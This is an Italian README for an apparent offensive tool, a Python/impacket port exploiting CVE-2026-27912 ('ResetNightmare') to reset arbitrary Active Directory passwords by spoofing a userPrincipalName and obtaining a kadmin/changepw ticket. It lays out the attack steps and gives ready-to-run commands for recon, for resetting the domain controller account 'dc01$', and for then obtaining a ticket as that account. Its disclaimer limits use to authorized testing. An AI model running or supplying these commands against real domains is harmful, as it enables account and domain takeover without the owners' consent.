ResetNightmare — CVE-2026-27912

Strumentazione Linux / impacket per CVE-2026-27912 ("ResetNightmare"). Reimposta la password di un account Active Directory bersaglio richiedendo un TGT kadmin/changepw per un principal NT_ENTERPRISE il cui nome è il sAMAccountName del bersaglio, usando un account (UPNUser) su cui possiamo scrivere un userPrincipalName fittizio.

Porting Python dello strumento PowerShell Semperis Community Invoke-ResetNightmare (vedi Credits).

⚠️ Disclaimer legale

Solo per test di sicurezza autorizzati e uso didattico. Questo strumento modifica credenziali Active Directory reali e può bloccare account.

• Eseguilo solo su sistemi di cui sei proprietario o per i quali hai un'esplicita autorizzazione scritta a testarli (un incarico firmato o un laboratorio che controlli).
• L'accesso non autorizzato a sistemi informatici è illegale (ad es. il CFAA statunitense, il UK Computer Misuse Act ed equivalenti) e può comportare sanzioni penali e civili.
• Gli autori non accettano alcuna responsabilità per un uso improprio. Il software è fornito "AS IS" — vedi LICENSE. Se non hai il permesso, non eseguirlo.

Come funziona

1. (facoltativo) Crea UPNUser, concedi a te stesso GenericAll, imposta la sua password e abilitalo.
2. Risolvi il sAMAccountName del bersaglio.
3. Imposta UPNUser.userPrincipalName = <targetSAN> (lo UPN fittizio).
4. AS-REQ come NT_ENTERPRISE '<targetSAN>' per kadmin/changepw — il KDC associa lo UPN enterprise al bersaglio ed emette un TGT di cambio password per esso.
5. Rimuovi lo UPN fittizio.
6. kpasswd cambio password con quel TGT → imposta la password del bersaglio.
7. Ripristina lo UPN originale di UPNUser.

Installazione

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Utilizzo

Le credenziali dell'operatore sono il primo argomento posizionale: [domain/]username[:password]. Qualsiasi password può essere omessa e ti verrà richiesta.

Recon — cosa può abusare di questo account? Segnala gli account su cui puoi scrivere uno UPN, le OU in cui puoi creare oggetti e la MachineAccountQuota, con i comandi suggeriti:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Reimposta un bersaglio usando un account su cui puoi scrivere uno UPN:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Crea prima l'account UPN (richiede il diritto Create Child sulla OU e LDAPS):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Aggiungi -debug per un logging dettagliato di AS-REQ / LDAP / kpasswd.

Flag

Le password vengono richieste in modo interattivo quando omesse.

Risoluzione dei problemi

Errori di --create-new-path:

Note:

• LDAPS è attivo per impostazione predefinita. AD accetta scritture unicodePwd solo su TLS, quindi --create-new-path lo richiede. Usa --no-ssl solo per percorsi di sola lettura/UPN.
• --find segnala solo le ACE di consenso (allow) concesse a te o ai tuoi gruppi (più la proprietà degli oggetti e la MachineAccountQuota); le ACE di diniego (deny) e le appartenenze cross-domain non sono valutate completamente. Un risultato vuoto non è la prova che non esista un percorso: verifica prima dell'uso.

Dopo il successo

Lo strumento stampa un comando successivo per ottenere un ticket utilizzabile come bersaglio:

getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

Credits

• Semperis Community — ResetNightmare — la ricerca originale e lo strumento PowerShell Invoke-ResetNightmare che questo progetto porta.
• impacket — primitive Kerberos e ldaptypes.
• ldap3 — il client LDAP.

Porting comunitario indipendente; non affiliato a Semperis né da essa approvato.

Licenza

MIT © 2026 mihat2.